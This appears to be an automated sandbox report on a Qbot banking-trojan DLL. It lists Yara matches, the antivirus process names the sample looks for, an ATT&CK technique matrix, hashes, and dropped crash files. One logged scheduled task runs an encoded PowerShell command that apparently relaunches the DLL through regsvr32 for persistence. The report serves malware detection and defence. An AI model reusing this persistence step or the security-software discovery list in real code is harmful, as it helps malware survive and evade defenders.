Source: loaddll32.exe, 00000000.00000003.276518369.0000000002CAF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.277505237.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: loaddll32.exe, 00000000.00000003.276518369.0000000002CAF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.277505237.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SavService.exe
Source: loaddll32.exe, 00000000.00000003.276518369.0000000002CAF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.277505237.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgcsrvx.exe
Source: rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dwengine.exe
Source: loaddll32.exe, 00000000.00000003.276518369.0000000002CAF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.277505237.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SAVAdminService.exe
Source: loaddll32.exe, 00000000.00000003.276518369.0000000002CAF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.277505237.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Qbot

Source: Yara match	File source: 4.2.explorer.exe.3230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3af0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2750184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3b10000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3ac0184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.explorer.exe.2fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1070184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.explorer.exe.3230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2750184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.explorer.exe.2fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2780000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.27a0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.explorer.exe.3230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3af0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.27a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.explorer.exe.2fb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3b10000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.explorer.exe.2fb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3ac0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.explorer.exe.3230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2780000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1070184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.323381928.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393963522.0000000003B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.765579370.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.765540679.0000000003230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.323413560.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393925531.0000000003AF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283947623.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.390120530.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.288483062.0000000003230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.281698290.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290425745.00000000027A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.281670705.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283887210.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290335602.0000000002780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected CryptOne packer

Source: Yara match	File source: 00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Qbot

Source: Yara match	File source: 4.2.explorer.exe.3230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3af0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2750184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3b10000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3ac0184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.explorer.exe.2fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1070184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.explorer.exe.3230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2750184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.explorer.exe.2fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2780000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.27a0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.explorer.exe.3230000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3af0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.1070184.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.27a0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.explorer.exe.2fb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3b10000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.10a0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.0.explorer.exe.2fb0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.regsvr32.exe.3ac0184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.explorer.exe.3230000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.loaddll32.exe.2780000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10a0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.rundll32.exe.1070184.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.rundll32.exe.10c0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.323381928.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393963522.0000000003B10000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.765579370.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.765540679.0000000003230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.323413560.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393925531.0000000003AF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283947623.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000000.390120530.0000000002FB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.288483062.0000000003230000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.281698290.00000000010C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290425745.00000000027A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.281670705.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283887210.00000000010A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290335602.0000000002780000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected CryptOne packer

Source: Yara match	File source: 00000002.00000000.281557672.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.290253396.0000000002750000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000000.283835804.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.323357187.0000000001070000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.393905257.0000000003AC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	411 Process Injection	111 Masquerading	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Screen Capture	Exfiltration Over Other Network Medium	Data Obfuscation	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	23 Security Software Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 PowerShell	Logon Script (Mac)	Logon Script (Mac)	411 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	11 Deobfuscate/Decode Files or Information	LSA Secrets	11 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	2 Obfuscated Files or Information	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Regsvr32	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	25 System Information Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 DLL Side-Loading	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 File Deletion	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
C.dll	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
4.0.explorer.exe.3230000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
2.2.rundll32.exe.10c0000.3.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
25.2.explorer.exe.2fb0000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
25.0.explorer.exe.2fb0000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
4.2.explorer.exe.3230000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
0.2.loaddll32.exe.27a0000.3.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
24.2.regsvr32.exe.3b10000.3.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
2.0.rundll32.exe.10c0000.7.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
2.0.rundll32.exe.10c0000.3.unpack	100%	Avira	HEUR/AGEN.1234562	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	0%	URL Reputation	safe
http://www.borland.com/namespaces/Types-IAppServerSOAP	0%	Virustotal		Browse
http://www.borland.com/namespaces/Types-IAppServerSOAP	0%	Avira URL Cloud	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
http://www.borland.com/namespaces/Types	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://ocsp.sectigo.com0#	0%	URL Reputation	safe
http://www.borland.com/namespaces/Typeslhttp://www.borland.com/namespaces/Types-IAppServerSOAP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	false	URL Reputation: safe	unknown
http://www.borland.com/namespaces/Types-IAppServerSOAP	regsvr32.exe, 00000018.00000002.393875981.00000000035D0000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	false	URL Reputation: safe	unknown
http://www.borland.com/namespaces/Types	loaddll32.exe, rundll32.exe	false	URL Reputation: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types	loaddll32.exe, 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000018.00000002.393512133.0000000000401000.00000020.00000001.01000000.00000003.sdmp, C.dll	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	false	URL Reputation: safe	unknown
http://ocsp.sectigo.com0	explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	loaddll32.exe, rundll32.exe	false		high
http://ocsp.sectigo.com0#	explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, C.dll	false	URL Reputation: safe	unknown
http://www.borland.com/namespaces/Typeslhttp://www.borland.com/namespaces/Types-IAppServerSOAP	loaddll32.exe, 00000000.00000002.289505180.0000000000B11000.00000020.00000001.01000000.00000003.sdmp, rundll32.exe, 00000002.00000002.323140727.00000000009D1000.00000020.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000003.325177471.0000000005378000.00000004.00000800.00020000.00000000.sdmp, regsvr32.exe, 00000018.00000002.393512133.0000000000401000.00000020.00000001.01000000.00000003.sdmp, C.dll	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	651257
Start date and time: 23/06/202217:54:07	2022-06-23 17:54:07 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	C.png (renamed file extension from png to dll)
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winDLL@28/12@0/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 97.9%) Quality average: 79% Quality standard deviation: 25.3%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Override analysis time to 240s for rundll32

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 20.42.65.92
Excluded domains from analysis (whitelisted): www.bing.com, ris.api.iris.microsoft.com, fs.microsoft.com, onedsblobprdeus17.eastus.cloudapp.azure.com, store-images.s-microsoft.com, login.live.com, blobcollector.events.data.trafficmanager.net, sls.update.microsoft.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:55:51	API Interceptor	1x Sleep call for process: WerFault.exe modified
17:55:54	Task Scheduler	Run new task: qsrshyj path: powershell.exe s>-encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\Desktop\C.dll	A.dll	Get hash	malicious	Browse
	yVOTuAlq9R.dll	Get hash	malicious	Browse
	A.dll	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_rundll32.exe_d56bdb83eb9d4cf28c9bde832a0f519ccf44d5f_82810a17_0bbf029b\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0117567529304945
Encrypted:	false
SSDEEP:	192:6eia0oXUHBUZMX4jed+63QfJ/u7sfS274ItWc:7iMXcBUZMX4jeox/u7sfX4ItWc
MD5:	54F18E493CADCD929663976CA5F17A33
SHA1:	10D870E766B927D63A960EB4AF38C2DC8D71B310
SHA-256:	A3434084795AC2543CD11ABCE386600DC5926A38AB79F9352686E2B75938E09B
SHA-512:	8B08D492128B39F522590FE36D6DA0EB11601B18A344BB2C175E836B21343FE0D582691D12FC6B38A5F40B30482942395513D443370ACD73B33AFDD09396E147
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.0.4.7.3.3.3.5.5.4.2.5.2.8.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.0.0.4.7.3.3.3.7.9.0.1.8.8.2.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.0.d.8.5.2.a.-.7.1.6.5.-.4.4.e.c.-.9.a.6.f.-.2.7.8.2.8.3.e.0.9.2.8.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.4.c.8.9.b.c.d.-.4.a.3.2.-.4.a.a.d.-.9.4.0.2.-.8.d.3.4.9.3.3.9.8.7.b.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.r.u.n.d.l.l.3.2...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.R.U.N.D.L.L.3.2...E.X.E.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.5.f.4.-.0.0.0.1.-.0.0.1.c.-.a.2.7.2.-.5.8.a.0.1.9.8.7.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.b.c.c.5.d.c.3.2.2.2.0.3.4.d.3.f.2.5.7.f.1.f.d.3.5.8.8.9.e.5.b.e.9.0.f.0.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERC572.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Jun 23 15:55:36 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	57838
Entropy (8bit):	2.1042309247756124
Encrypted:	false
